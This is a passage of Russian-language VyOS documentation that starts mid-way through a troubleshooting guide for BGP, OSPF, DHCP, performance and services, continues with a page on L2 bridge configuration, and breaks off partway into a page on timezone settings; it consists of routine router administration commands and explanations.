show configuration protocols bgp <local-asn> neighbor <neighbor-ip>

# Исправить если неверно
configure
set protocols bgp <local-asn> neighbor <neighbor-ip> remote-as <correct-remote-asn>
commit
save

# Сбросить BGP session
reset ip bgp <neighbor-ip>
```

**Причина 3: MD5 authentication не совпадает**

```bash
# Проверить MD5 password
show configuration protocols bgp <asn> neighbor <neighbor-ip> password

# Обновить password (должен совпадать с peer)
configure
set protocols bgp <asn> neighbor <neighbor-ip> password 'correct-password'
commit
save

# Сбросить session
reset ip bgp <neighbor-ip>
```

**Причина 4: TTL security**

```bash
# Для eBGP multihop
configure
set protocols bgp <asn> neighbor <neighbor-ip> ebgp-multihop 2
commit
save

# Для TTL security
set protocols bgp <asn> neighbor <neighbor-ip> ttl-security hops 1
```

### Проблема: OSPF adjacency не формируется

#### Диагностика OSPF

```bash
# Проверить OSPF neighbors
show ip ospf neighbor
show ip ospf neighbor detail

# Проверить OSPF интерфейсы
show ip ospf interface

# Проверить OSPF database
show ip ospf database

# OSPF конфигурация
show configuration protocols ospf
```

#### Решения для OSPF

**Причина 1: Несоответствие area**

```bash
# Проверить area на обеих сторонах
show configuration protocols ospf area

# Исправить area
configure
set protocols ospf area 0 network 192.168.1.0/24
commit
save
```

**Причина 2: Hello/Dead intervals не совпадают**

```bash
# Проверить интервалы
show ip ospf interface eth1

# Установить интервалы (должны совпадать на обеих сторонах)
configure
set protocols ospf interface eth1 hello-interval 10
set protocols ospf interface eth1 dead-interval 40
commit
save
```

**Причина 3: Authentication mismatch**

```bash
# Настроить MD5 authentication (должен быть одинаковый на обеих сторонах)
configure
set protocols ospf area 0 authentication md5
set protocols ospf interface eth1 authentication md5 key-id 1 md5-key 'password'
commit
save
```

**Причина 4: Passive interface**

```bash
# Проверить passive interfaces
show configuration protocols ospf passive-interface

# Если интерфейс passive - удалить
configure
delete protocols ospf passive-interface eth1
commit
save
```

## Проблемы с DHCP

### Проблема: DHCP клиенты не получают адреса

#### Диагностика DHCP Server

```bash
# Проверить статус DHCP сервера
show service dhcp-server

# Проверить активные аренды
show dhcp server leases

# Проверить статистику
show dhcp server statistics

# Проверить конфигурацию
show configuration service dhcp-server

# Логи DHCP
show log dhcp
monitor log | match dhcp
```

#### Решения для DHCP

**Причина 1: DHCP сервис не запущен**

```bash
# Проверить сервис
show service dhcp-server

# Запустить сервис
sudo systemctl restart isc-dhcp-server  # VyOS 1.4
sudo systemctl restart kea-dhcp4-server  # VyOS 1.5

# Проверить статус
sudo systemctl status isc-dhcp-server  # VyOS 1.4
sudo systemctl status kea-dhcp4-server  # VyOS 1.5
```

**Причина 2: Неверная конфигурация subnet**

```bash
# Проверить subnet конфигурацию
show configuration service dhcp-server shared-network-name LAN

# Исправить subnet
configure
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 default-router 192.168.1.1
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 name-server 8.8.8.8
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start 192.168.1.100
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.200
commit
save
```

**Причина 3: Pool исчерпан**

```bash
# Проверить количество аренд
show dhcp server leases

# Подсчитать активные аренды
show dhcp server leases | grep "^IP" | wc -l

# Расширить pool
configure
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop 192.168.1.250
commit
save
```

**Причина 4: Firewall блокирует DHCP**

```bash
# DHCP использует UDP 67 (server) и 68 (client)
configure
set firewall name LAN_LOCAL rule 400 action accept
set firewall name LAN_LOCAL rule 400 protocol udp
set firewall name LAN_LOCAL rule 400 destination port 67
set firewall name LAN_LOCAL rule 400 source port 68

commit
save
```

**Причина 5: Static mapping конфликт (VyOS 1.5 Kea)**

```bash
# В VyOS 1.5 Kea требует IP или hostname в дополнение к MAC
configure
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 static-mapping workstation mac '00:11:22:33:44:55'
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 static-mapping workstation ip-address '192.168.1.50'
commit
save
```

### Проблема: DHCP клиент не получает адрес на WAN

#### Диагностика DHCP Client

```bash
# Проверить статус интерфейса
show interfaces ethernet eth0

# Проверить DHCP lease
show dhcp client leases

# Попробовать обновить lease
release dhcp interface eth0
renew dhcp interface eth0

# Логи
show log | match eth0
```

#### Решения для DHCP Client

**Причина 1: Интерфейс не настроен на DHCP**

```bash
configure
set interfaces ethernet eth0 address dhcp
commit
save
```

**Причина 2: DHCP клиент не отправляет запросы**

```bash
# Захватить трафик для проверки
sudo tcpdump -i eth0 port 67 or port 68 -v

# Если нет DHCP Discover - перезапустить интерфейс
configure
delete interfaces ethernet eth0 disable
set interfaces ethernet eth0 disable
commit
delete interfaces ethernet eth0 disable
commit
save
```

## Проблемы с производительностью

### Проблема: Высокая загрузка CPU

#### Диагностика CPU

```bash
# Проверить загрузку CPU
show system cpu
show system cpu detailed

# Топ процессов
show system processes

# Детальная информация о процессах
top
```

#### Решения для CPU

**Причина 1: Большая conntrack таблица**

```bash
# Проверить размер conntrack table
show conntrack table ipv4 | wc -l

# Проверить лимит
sudo sysctl net.netfilter.nf_conntrack_max

# Увеличить лимит
configure
set system conntrack table-size 262144
commit
save

# Оптимизировать timeouts
set system conntrack timeout tcp close 10
set system conntrack timeout tcp time-wait 60
commit
save

# Применить немедленно
sudo sysctl -w net.netfilter.nf_conntrack_max=262144
```

**Причина 2: Интенсивное логирование**

```bash
# Проверить размер логов
show log
du -sh /var/log/

# Уменьшить уровень логирования
configure
set system syslog global facility all level warning
commit
save

# Удалить старые логи
sudo find /var/log -name "*.log" -mtime +30 -delete
```

**Причина 3: Много BGP prefixes**

```bash
# Проверить количество BGP prefixes
show ip bgp summary

# Применить prefix filtering
configure
set policy prefix-list BGP-IN rule 10 action permit
set policy prefix-list BGP-IN rule 10 prefix 0.0.0.0/0
set policy prefix-list BGP-IN rule 10 le 24

set policy route-map BGP-FILTER rule 10 action permit
set policy route-map BGP-FILTER rule 10 match ip address prefix-list BGP-IN

set protocols bgp <asn> neighbor <neighbor-ip> address-family ipv4-unicast route-map import BGP-FILTER

commit
save
```

### Проблема: Высокое использование памяти

#### Диагностика памяти

```bash
# Проверить использование памяти
show system memory

# Детальная информация
free -h
cat /proc/meminfo

# Процессы по использованию памяти
ps aux --sort=-%mem | head -20
```

#### Решения для памяти

**Причина 1: Большой кэш**

```bash
# Проверить кэш
free -h

# Очистить page cache (безопасно)
sudo sync
sudo sysctl -w vm.drop_caches=1

# Очистить dentries и inodes
sudo sysctl -w vm.drop_caches=2

# Очистить всё
sudo sysctl -w vm.drop_caches=3
```

**Причина 2: DNS forwarding cache слишком большой**

```bash
# Проверить размер DNS кэша
show dns forwarding statistics

# Уменьшить размер кэша
configure
set service dns forwarding cache-size 1000
commit
save

# Очистить DNS кэш
reset dns forwarding cache
```

**Причина 3: Утечка памяти**

```bash
# Определить процесс с утечкой
ps aux --sort=-%mem | head -10

# Если проблема в VyOS процессе - перезапустить
sudo systemctl restart frr  # Для routing daemons
sudo systemctl restart vyos-configd  # Для config daemon

# В крайнем случае - reboot
reboot now
```

### Проблема: Высокая задержка (latency)

#### Диагностика задержки

```bash
# Проверить ping latency
ping 8.8.8.8
ping <local-gateway>

# Проверить buffer bloat
show qos interface eth0

# Мониторить задержку
mtr 8.8.8.8
```

#### Решения для задержки

**Причина 1: Buffer bloat**

```bash
# Применить fq_codel QoS
configure
set traffic-policy shaper WAN bandwidth 100mbit
set traffic-policy shaper WAN default bandwidth 100%
set traffic-policy shaper WAN default queue-type fq-codel

set interfaces ethernet eth0 traffic-policy out WAN

commit
save
```

**Причина 2: Высокая загрузка канала**

```bash
# Проверить загрузку интерфейсов
show interfaces

# Применить QoS приоритизацию
configure
set traffic-policy shaper WAN class 10 bandwidth 30%
set traffic-policy shaper WAN class 10 priority 1
set traffic-policy shaper WAN class 10 match VOIP ip dscp ef

set traffic-policy shaper WAN class 20 bandwidth 40%
set traffic-policy shaper WAN class 20 priority 2
set traffic-policy shaper WAN class 20 match INTERACTIVE ip dscp af21

commit
save
```

## Проблемы с системой

### Проблема: Конфигурация не сохраняется

#### Диагностика

```bash
# Проверить текущую конфигурацию
show configuration

# Проверить saved конфигурацию
show configuration saved

# Сравнить
compare saved
```

#### Решения

**Причина 1: Забыли выполнить save**

```bash
# Всегда после commit
commit
save
```

**Причина 2: Нет места на диске**

```bash
# Проверить место на диске
show system storage

# Если нет места - очистить
sudo apt-get clean
sudo apt-get autoclean
delete system image <old-version>

# Удалить старые логи
sudo find /var/log -name "*.gz" -delete
```

**Причина 3: Проблемы с файловой системой**

```bash
# Проверить файловую систему (только в maintenance mode)
# Reboot в single user mode
sudo fsck /dev/sda1
```

### Проблема: Система не загружается после изменений

#### Решение: Загрузка с backup конфигурации

```bash
# При загрузке в GRUB меню
# Выбрать: VyOS (config file: /config/config.boot.backup)

# После загрузки - восстановить конфигурацию
configure
load /config/config.boot.backup
commit
save
```

#### Решение: Сброс конфигурации

```bash
# В operational mode
load /opt/vyatta/etc/config.boot.default
commit
save
reboot
```

### Проблема: Высокая температура / Hardware проблемы

#### Диагностика hardware

```bash
# Температура (если доступно sensors)
show hardware cpu
show hardware temperature

# Проверить системные логи на hardware errors
show log | match error
show log | match hardware

# Дополнительные инструменты
sudo sensors
sudo dmesg | grep -i error
```

#### Решения

**Причина 1: Высокая температура CPU**

```bash
# Проверить вентиляторы (physical)
# Проверить загрузку CPU
show system cpu

# Снизить нагрузку если возможно
# Проверить cooling system физически
```

**Причина 2: Disk errors**

```bash
# Проверить S.M.A.R.T.
sudo smartctl -a /dev/sda

# Проверить filesystem errors
dmesg | grep -i "I/O error"

# Backup конфигурации немедленно
show configuration commands | sudo tee /tmp/config-backup.txt

# Планировать замену диска
```

## Проблемы с сервисами

### Проблема: SSH не доступен

#### Диагностика SSH

```bash
# Проверить SSH сервис (из консоли)
show service ssh

# Проверить конфигурацию
show configuration service ssh

# Проверить процесс
sudo systemctl status ssh

# Проверить порт
sudo netstat -tlnp | grep ssh
```

#### Решения для SSH

**Причина 1: SSH сервис отключен**

```bash
configure
delete service ssh disable
commit
save

# Проверить
show service ssh
```

**Причина 2: Firewall блокирует SSH**

```bash
configure
set firewall name WAN_LOCAL rule 500 action accept
set firewall name WAN_LOCAL rule 500 protocol tcp
set firewall name WAN_LOCAL rule 500 destination port 22
commit
save
```

**Причина 3: Неверный listen address**

```bash
# SSH должен слушать на правильном интерфейсе
configure
set service ssh listen-address 0.0.0.0
commit
save

# Перезапустить SSH
sudo systemctl restart ssh
```

### Проблема: NTP не синхронизируется

#### Диагностика NTP

```bash
# Проверить NTP status
show ntp

# Проверить NTP servers
show configuration service ntp

# Детальная информация
sudo ntpq -p
```

#### Решения для NTP

**Причина 1: Нет connectivity до NTP серверов**

```bash
# Проверить доступность NTP серверов
ping 0.pool.ntp.org
ping 1.pool.ntp.org

# Проверить UDP 123
sudo tcpdump -i eth0 udp port 123 -v
```

**Причина 2: Firewall блокирует NTP**

```bash
configure
set firewall name WAN_LOCAL rule 600 action accept
set firewall name WAN_LOCAL rule 600 protocol udp
set firewall name WAN_LOCAL rule 600 destination port 123

# Также разрешить outbound
set firewall name WAN_OUT rule 600 action accept
set firewall name WAN_OUT rule 600 protocol udp
set firewall name WAN_OUT rule 600 destination port 123

commit
save
```

**Причина 3: Неверная timezone**

```bash
# Установить правильную timezone
configure
set system time-zone Europe/Moscow
commit
save

# Перезапустить NTP
sudo systemctl restart ntp
```

## Сбор диагностической информации

### Полный набор диагностики для support ticket

```bash
#!/bin/vbash
# Скрипт сбора диагностической информации

TIMESTAMP=$(date +%Y%m%d-%H%M%S)
OUTPUT_DIR="/tmp/vyos-diag-${TIMESTAMP}"
mkdir -p "${OUTPUT_DIR}"

echo "Collecting diagnostic information..."

# Системная информация
show version > "${OUTPUT_DIR}/version.txt"
show system uptime > "${OUTPUT_DIR}/uptime.txt"
show system storage > "${OUTPUT_DIR}/storage.txt"
show system memory > "${OUTPUT_DIR}/memory.txt"
show system cpu > "${OUTPUT_DIR}/cpu.txt"

# Конфигурация
show configuration > "${OUTPUT_DIR}/configuration.txt"
show configuration commands > "${OUTPUT_DIR}/configuration-commands.txt"

# Интерфейсы
show interfaces > "${OUTPUT_DIR}/interfaces.txt"
show interfaces addresses > "${OUTPUT_DIR}/interfaces-addresses.txt"

# Маршрутизация
show ip route > "${OUTPUT_DIR}/ip-route.txt"
show ipv6 route > "${OUTPUT_DIR}/ipv6-route.txt"

# BGP (если используется)
show ip bgp summary > "${OUTPUT_DIR}/bgp-summary.txt" 2>/dev/null
show ip bgp neighbors > "${OUTPUT_DIR}/bgp-neighbors.txt" 2>/dev/null

# OSPF (если используется)
show ip ospf neighbor > "${OUTPUT_DIR}/ospf-neighbors.txt" 2>/dev/null

# VPN
show vpn ipsec sa > "${OUTPUT_DIR}/ipsec-sa.txt" 2>/dev/null
show interfaces wireguard > "${OUTPUT_DIR}/wireguard.txt" 2>/dev/null

# Firewall
show firewall > "${OUTPUT_DIR}/firewall.txt"
show firewall statistics > "${OUTPUT_DIR}/firewall-stats.txt"

# NAT
show nat source statistics > "${OUTPUT_DIR}/nat-stats.txt"

# Services
show dhcp server leases > "${OUTPUT_DIR}/dhcp-leases.txt" 2>/dev/null
show dns forwarding statistics > "${OUTPUT_DIR}/dns-stats.txt" 2>/dev/null

# Логи (последние 500 строк)
show log tail 500 > "${OUTPUT_DIR}/system-log.txt"

# Conntrack
show conntrack table ipv4 | head -100 > "${OUTPUT_DIR}/conntrack-sample.txt"

# Архивировать
cd /tmp
tar czf "vyos-diag-${TIMESTAMP}.tar.gz" "vyos-diag-${TIMESTAMP}/"

echo "Diagnostic information collected:"
echo "/tmp/vyos-diag-${TIMESTAMP}.tar.gz"
ls -lh "/tmp/vyos-diag-${TIMESTAMP}.tar.gz"

echo ""
echo "You can download this file with SCP:"
echo "scp vyos@router-ip:/tmp/vyos-diag-${TIMESTAMP}.tar.gz ."
```

### Сохранить скрипт и использовать

```bash
# Сохранить скрипт
sudo vi /config/scripts/collect-diag.sh
# Вставить код выше
sudo chmod +x /config/scripts/collect-diag.sh

# Запустить
sudo /config/scripts/collect-diag.sh
```

## Лучшие практики troubleshooting

### Общие рекомендации

1. **Всегда создавайте backup перед изменениями**
```bash
save /config/config.boot.backup-$(date +%Y%m%d)
```

2. **Используйте commit-confirm для критичных изменений**
```bash
commit-confirm 5  # Auto-rollback через 5 минут если не confirm
# Тестируем изменения
confirm  # Если всё OK
# Или просто ждём 5 минут для auto-rollback
```

3. **Документируйте изменения**
```bash
commit comment "Added firewall rule for SSH access from office"
```

4. **Используйте compare для проверки изменений**
```bash
compare  # Сравнить с running config
compare saved  # Сравнить с saved config
```

5. **Мониторьте логи во время troubleshooting**
```bash
monitor log  # В отдельной SSH сессии
```

6. **Тестируйте изменения поэтапно**
```bash
# Применяйте изменения по одному
set ...
commit
# Проверяем
# Следующее изменение
```

7. **Сохраняйте рабочую конфигурацию регулярно**
```bash
save
save /config/config.boot.working
```

8. **Используйте rollback при необходимости**
```bash
rollback 1  # Откат на 1 commit назад
rollback 2  # Откат на 2 commits назад
```

9. **Ведите журнал изменений**
```bash
# Создать файл CHANGELOG
sudo vi /config/CHANGELOG
# Записывать все значимые изменения
```

10. **Автоматизируйте сбор диагностики**
```bash
# Создать cron задачу для ежедневного backup конфигурации
set system task-scheduler task daily-backup executable path /config/scripts/daily-backup.sh
set system task-scheduler task daily-backup interval 1d
```

### Контрольный список для критичных проблем

**При потере connectivity:**
- [ ] Проверить physical link
- [ ] Проверить IP адресацию
- [ ] Проверить маршрутизацию
- [ ] Проверить firewall rules
- [ ] Проверить NAT rules (если применимо)
- [ ] Проверить MTU
- [ ] Проверить ARP таблицу

**При проблемах с VPN:**
- [ ] Проверить connectivity до peer
- [ ] Проверить firewall (UDP 500, 4500, ESP)
- [ ] Проверить IKE/ESP параметры
- [ ] Проверить PSK/certificates
- [ ] Проверить NAT exclude rules
- [ ] Проверить routing через VPN

**При проблемах с routing protocols:**
- [ ] Проверить adjacency/peering
- [ ] Проверить authentication
- [ ] Проверить timers/intervals
- [ ] Проверить ACLs/prefix-lists
- [ ] Проверить route-maps
- [ ] Проверить redistribution

**При проблемах с производительностью:**
- [ ] Проверить CPU usage
- [ ] Проверить memory usage
- [ ] Проверить disk space
- [ ] Проверить interface statistics (errors, drops)
- [ ] Проверить conntrack table size
- [ ] Проверить QoS policies
- [ ] Проверить hardware (temperature, fans)

## Полезные ресурсы

### Официальная документация
- VyOS Documentation: https://docs.vyos.io/
- VyOS Wiki: https://wiki.vyos.net/
- VyOS Forum: https://forum.vyos.io/

### Сообщество
- VyOS Slack: https://vyos.slack.com/
- VyOS Reddit: https://www.reddit.com/r/vyos/
- GitHub Issues: https://github.com/vyos/vyos-1x/issues

### Полезные команды для справки

```bash
# Поиск команд
find /configure/

# Help по команде
help <command>

# Автодополнение
<Tab>

# История команд
history

# Очистка экрана
clear
```

## Заключение

Эффективное устранение неполадок в VyOS требует:

- **Систематического подхода**: Следование методологии от симптомов к решению
- **Знания инструментов**: Использование правильных диагностических команд
- **Опыта**: Понимание типичных проблем и их решений
- **Документирования**: Ведение журнала изменений и решений
- **Превентивности**: Мониторинг и профилактика проблем

Используйте это руководство как справочник при возникновении проблем, но также развивайте навыки анализа и диагностики для решения нестандартных ситуаций.


---

# Bridge интерфейсы (L2) в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-bridge/



Bridge (мост) соединяет несколько Ethernet сегментов на уровне L2 (канальный уровень), пересылая пакеты на основе MAC-адресов.

## Обзор

Bridge в VyOS:
- Работает на уровне L2 (канальный уровень OSI)
- Пересылает фреймы на основе MAC-адресов
- Поддерживает Spanning Tree Protocol (STP)
- Может иметь IP-адрес для управления
- Поддерживает VLAN-aware режим
- Реализует IEEE 802.1d стандарт

**Использование**:
- Объединение нескольких физических интерфейсов в один L2 домен
- VLAN switching
- Виртуализация (соединение VM с физической сетью)
- Создание виртуального коммутатора

## Базовая конфигурация

### Создание bridge

```
set interfaces bridge br0
commit
```

### Добавление member интерфейсов

```
set interfaces bridge br0 member interface eth1
set interfaces bridge br0 member interface eth2
set interfaces bridge br0 member interface eth3
commit
```

Теперь eth1, eth2, eth3 находятся в одном L2 broadcast domain.

### IP-адрес на bridge

```
set interfaces bridge br0 address 192.168.1.1/24
commit
```

IP-адрес назначается самому bridge интерфейсу для управления или маршрутизации.

### Описание

```
set interfaces bridge br0 description 'LAN Bridge'
commit
```

## Member Interface параметры

### Priority

Приоритет порта для STP:

```
set interfaces bridge br0 member interface eth1 priority 32
commit
```

Значение: 0-63 (по умолчанию 32). Меньше = выше приоритет.

### Cost

Стоимость пути для STP:

```
set interfaces bridge br0 member interface eth1 cost 10
commit
```

Влияет на выбор корневого порта в STP. Меньше = предпочтительнее.

### Isolated

Изолированный порт (не может общаться с другими isolated портами):

```
set interfaces bridge br0 member interface eth2 isolated
commit
```

Полезно для guest сетей (private VLAN).

## Spanning Tree Protocol (STP)

STP предотвращает петли в L2 сетях.

### Включение STP

```
set interfaces bridge br0 stp
commit
```

По умолчанию STP **отключен**.

### Bridge Priority

Приоритет bridge для выбора root bridge:

```
set interfaces bridge br0 priority 4096
commit
```

Значения: кратные 4096 (0, 4096, 8192, ..., 61440).
Меньше значение = выше вероятность стать root bridge.

### Hello Time

Интервал отправки BPDU:

```
set interfaces bridge br0 hello-time 2
commit
```

Значение в секундах (по умолчанию 2).

### Forward Delay

Задержка перехода порта в forwarding состояние:

```
set interfaces bridge br0 forward-delay 15
commit
```

Значение в секундах (по умолчанию 15).

### Max Age

Максимальный возраст BPDU:

```
set interfaces bridge br0 max-age 20
commit
```

Значение в секундах (по умолчанию 20).

## Aging

MAC address aging - время хранения записей в FDB (Forwarding Database).

```
set interfaces bridge br0 aging 300
commit
```

Значение в секундах (по умолчанию 300).

## IGMP/MLD

### IGMP Snooping

Оптимизация multicast трафика:

```
set interfaces bridge br0 igmp snooping
commit
```

Позволяет bridge "слушать" IGMP запросы и передавать multicast только на нужные порты.

### IGMP Querier

```
set interfaces bridge br0 igmp querier
commit
```

Bridge становится IGMP querier для генерации membership queries.

## VLAN Filtering

Bridge может работать как VLAN-aware switch.

### Включение VLAN режима

```
set interfaces bridge br0 enable-vlan
commit
```

### Native VLAN

Untagged VLAN для member interface:

```
set interfaces bridge br0 member interface eth1 native-vlan 1
commit
```

Трафик без VLAN тега будет помечен указанным VLAN.

### Allowed VLANs

Разрешенные VLANs на member interface:

```
set interfaces bridge br0 member interface eth1 allowed-vlan 10
set interfaces bridge br0 member interface eth1 allowed-vlan 20
set interfaces bridge br0 member interface eth1 allowed-vlan 30
commit
```

Диапазон VLANs:

```
set interfaces bridge br0 member interface eth2 allowed-vlan 10-50
commit
```

### VLAN sub-interfaces (VIF)

Создание L3 интерфейсов для VLAN:

```
set interfaces bridge br0 vif 10 address 192.168.10.1/24
set interfaces bridge br0 vif 10 description 'VLAN 10 - Management'

set interfaces bridge br0 vif 20 address 192.168.20.1/24
set interfaces bridge br0 vif 20 description 'VLAN 20 - Users'

commit
```

## Примеры конфигурации

### Простой bridge (L2 switch)

Объединение трех портов в один L2 домен:

```
set interfaces bridge br0 member interface eth1
set interfaces bridge br0 member interface eth2
set interfaces bridge br0 member interface eth3
set interfaces bridge br0 stp
commit
```

### Bridge с IP для управления

```
set interfaces bridge br0 address 192.168.1.1/24
set interfaces bridge br0 member interface eth1
set interfaces bridge br0 member interface eth2
set interfaces bridge br0 description 'LAN Bridge'
set interfaces bridge br0 stp
commit
```

Теперь можно управлять VyOS через 192.168.1.1 из любого порта (eth1, eth2).

### VLAN-aware bridge (trunk switch)

Создание trunk портов с множественными VLANs:

```
# Enable VLAN
set interfaces bridge br0 enable-vlan

# Trunk порт к другому коммутатору (все VLANs)
set interfaces bridge br0 member interface eth1 allowed-vlan 10-50

# Access порт для VLAN 10
set interfaces bridge br0 member interface eth2 allowed-vlan 10
set interfaces bridge br0 member interface eth2 native-vlan 10

# Access порт для VLAN 20
set interfaces bridge br0 member interface eth3 allowed-vlan 20
set interfaces bridge br0 member interface eth3 native-vlan 20

# L3 интерфейсы для VLANs
set interfaces bridge br0 vif 10 address 192.168.10.1/24
set interfaces bridge br0 vif 20 address 192.168.20.1/24

# STP
set interfaces bridge br0 stp

commit
```

### Bridge для VM (виртуализация)

Соединение физического интерфейса с виртуальными машинами:

```
set interfaces bridge br0 member interface eth0
set interfaces bridge br0 member interface tap0
set interfaces bridge br0 member interface tap1
set interfaces bridge br0 stp
commit
```

tap0, tap1 - интерфейсы виртуальных машин.

### Bridge с изолированными портами (Private VLAN)

Порты не могут общаться друг с другом (guest isolation):

```
set interfaces bridge br0 member interface eth0
set interfaces bridge br0 member interface eth1 isolated
set interfaces bridge br0 member interface eth2 isolated
set interfaces bridge br0 member interface eth3 isolated
commit
```

eth0 - uplink (может общаться со всеми).
eth1, eth2, eth3 - изолированы друг от друга.

### Multi-VLAN bridge с inter-VLAN routing

```
# VLAN-aware bridge
set interfaces bridge br0 enable-vlan

# Trunk порты
set interfaces bridge br0 member interface eth1 allowed-vlan 10
set interfaces bridge br0 member interface eth1 allowed-vlan 20
set interfaces bridge br0 member interface eth1 allowed-vlan 30

set interfaces bridge br0 member interface eth2 allowed-vlan 10-30

# L3 интерфейсы (шлюзы для VLANs)
set interfaces bridge br0 vif 10 address 192.168.10.1/24
set interfaces bridge br0 vif 10 description 'VLAN 10 - Management'

set interfaces bridge br0 vif 20 address 192.168.20.1/24
set interfaces bridge br0 vif 20 description 'VLAN 20 - Users'

set interfaces bridge br0 vif 30 address 192.168.30.1/24
set interfaces bridge br0 vif 30 description 'VLAN 30 - Servers'

# Enable IP forwarding (по умолчанию включено в VyOS)
set interfaces bridge br0 stp

commit
```

Теперь VLAN 10, 20, 30 могут общаться через VyOS (inter-VLAN routing).

### Bridge с Bond интерфейсом

Aggregation для redundancy:

```
# Bond интерфейс
set interfaces bonding bond0 member interface eth1
set interfaces bonding bond0 member interface eth2
set interfaces bonding bond0 mode '802.3ad'

# Bridge с bond
set interfaces bridge br0 member interface bond0
set interfaces bridge br0 member interface eth3
set interfaces bridge br0 stp

commit
```

### Secure bridge с firewall

```
# Bridge
set interfaces bridge br0 member interface eth1
set interfaces bridge br0 member interface eth2
set interfaces bridge br0 address 192.168.1.1/24

# Firewall для bridge трафика
set firewall bridge forward filter rule 10 action accept
set firewall bridge forward filter rule 10 state established
set firewall bridge forward filter rule 10 state related

set firewall bridge forward filter rule 20 action drop
set firewall bridge forward filter rule 20 state invalid

set firewall bridge forward filter default-action accept

commit
```

## Операционные команды

### Просмотр bridge интерфейсов

```
show bridge
```

Пример вывода:
```
bridge name     bridge id               STP enabled     interfaces
br0             8000.000c29abcdef       yes             eth1
                                                        eth2
                                                        eth3
```

### Forwarding Database (FDB)

MAC address table:

```
show bridge br0 fdb
```

Пример вывода:
```
port    mac addr                flags
eth1    00:0c:29:12:34:56
eth2    00:0c:29:ab:cd:ef
eth3    00:0c:29:98:76:54       permanent
```

### Multicast Database (MDB)

Multicast группы:

```
show bridge br0 mdb
```

### VLAN информация

```
show bridge br0 vlan
```

### STP информация

```
show bridge br0 spanning-tree
```

## Устранение неполадок

### Bridge не пересылает трафик

Проверьте member интерфейсы:
```
show interfaces
```

Убедитесь что все member интерфейсы в состоянии UP.

Проверьте firewall:
```
show firewall bridge forward filter
```

### STP блокирует порты

Проверьте STP состояние:
```
show bridge br0 spanning-tree
```

Порты могут быть в blocking/listening состоянии.

Уменьшите priority bridge для становления root:
```
set interfaces bridge br0 priority 0
commit
```

### Broadcast storm

Возможно петля в L2 сети.

Включите STP:
```
set interfaces bridge br0 stp
commit
```

Проверьте кабели на петли.

### VLAN трафик не проходит

Проверьте allowed-vlan:
```
show configuration interfaces bridge br0
```

Убедитесь что нужные VLANs разрешены на member интерфейсах.

Проверьте native-vlan для untagged трафика.

### MAC таблица переполнена

Увеличьте aging time:
```
set interfaces bridge br0 aging 600
commit
```

Или уменьшите для быстрого обновления:
```
set interfaces bridge br0 aging 120
commit
```

## Производительность

### MTU

Установите одинаковый MTU на всех member интерфейсах:

```
set interfaces bridge br0 mtu 1500
commit
```

Member интерфейсы автоматически наследуют MTU от bridge.

### Offloading

Bridge может использовать hardware offloading если поддерживается:

```
show interfaces bridge br0 offload
```

### Jumbo Frames

Для высокопроизводительных сетей:

```
set interfaces bridge br0 mtu 9000
commit
```

Все member интерфейсы должны поддерживать jumbo frames.

## Безопасность

### MAC-based ACL

Фильтрация по MAC-адресам через firewall:

```
set firewall bridge forward filter rule 100 action drop
set firewall bridge forward filter rule 100 source mac-address aa:bb:cc:dd:ee:ff
commit
```

### Storm Control

Ограничение broadcast/multicast:

Используйте firewall rate limiting:

```
set firewall bridge forward filter rule 200 action accept
set firewall bridge forward filter rule 200 limit rate 1000/second
commit
```

### Port Security

Isolated порты для guest сетей:

```
set interfaces bridge br0 member interface eth5 isolated
commit
```

## Сравнение с другими технологиями

### Bridge vs Bond

| Характеристика | Bridge | Bond |
|---------------|--------|------|
| Уровень OSI | L2 | L2 |
| Назначение | Соединение сегментов | Агрегация каналов |
| Redundancy | Через STP | Через LACP/активный резерв |
| Используется для | Switching, VLAN | Увеличение пропускной способности |

### Bridge vs VLAN

Bridge может содержать VLANs (VLAN-aware bridge). VLAN - это метод сегментации L2 домена.

## Интеграция

### С DHCP сервером

```
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 option default-router 192.168.1.1
set interfaces bridge br0 address 192.168.1.1/24
commit
```

### С firewall

```
set firewall bridge forward filter rule 10 action accept
set firewall bridge forward filter rule 10 source address 192.168.1.0/24
commit
```

### С VPN

Bridge может содержать VPN интерфейсы (tap):

```
set interfaces bridge br0 member interface tap0
commit
```

## Лучшие практики

1. **Включайте STP** - для предотвращения петель
2. **Используйте VLAN** - для сегментации сети
3. **Документируйте** - какие порты в каких VLANs
4. **MTU** - одинаковый на всех member интерфейсах
5. **Isolated порты** - для guest/IoT устройств
6. **Мониторинг FDB** - отслеживайте MAC таблицу
7. **Firewall** - защищайте bridge трафик
8. **Aging** - настраивайте под нагрузку
9. **Priority** - планируйте STP топологию
10. **Резервирование** - используйте Bond для uplink

## Ограничения

- Bridge пересылает broadcast - может быть проблемой в больших сетях
- STP конвергенция занимает время (30-50 секунд)
- Большое количество VLANs требует больше ресурсов
- Hardware offload зависит от NIC

## Следующие шаги

- [Bond](/docs/vyos/interfaces/vyos-bond/) - агрегация каналов
- [VLAN](/docs/vyos/interfaces/vyos-vlan/) - детальная настройка VLAN
- [Firewall](/docs/vyos/firewall/) - защита L2 трафика
- [DHCP Server](/docs/vyos/services/vyos-dhcp/) - интеграция с DHCP


---

# Настройка часового пояса в VyOS

Source: https://opennix.org/docs/vyos/system/vyos-timezone/



Правильная настройка часового пояса в VyOS критически важна для корректной работы логирования, планировщика задач, временных меток в логах и синхронизации времени с внешними системами.

## Основные возможности

- **Установка часового пояса**: Настройка локального времени для системы
- **Интеграция с NTP**: Автоматическая синхронизация времени
- **Временные метки**: Корректные timestamp в логах и конфигурационных файлах
- **Планирование задач**: Точное выполнение задач по расписанию
- **Координация с внешними системами**: Синхронизация времени с SIEM, мониторингом, backup системами

## Базовая конфигурация

### Установка часового пояса

```bash
# Установить часовой пояс (Москва)
set system time-zone Europe/Moscow

commit
save
```

**Проверка**:
```bash
# Показать текущее время и часовой пояс
show date

# Результат:
# Wed Oct 14 15:30:45 MSK 2025
```

### Список доступных часовых поясов

```bash
# Показать все доступные часовые пояса
ls /usr/share/zoneinfo/

# Часовые пояса России
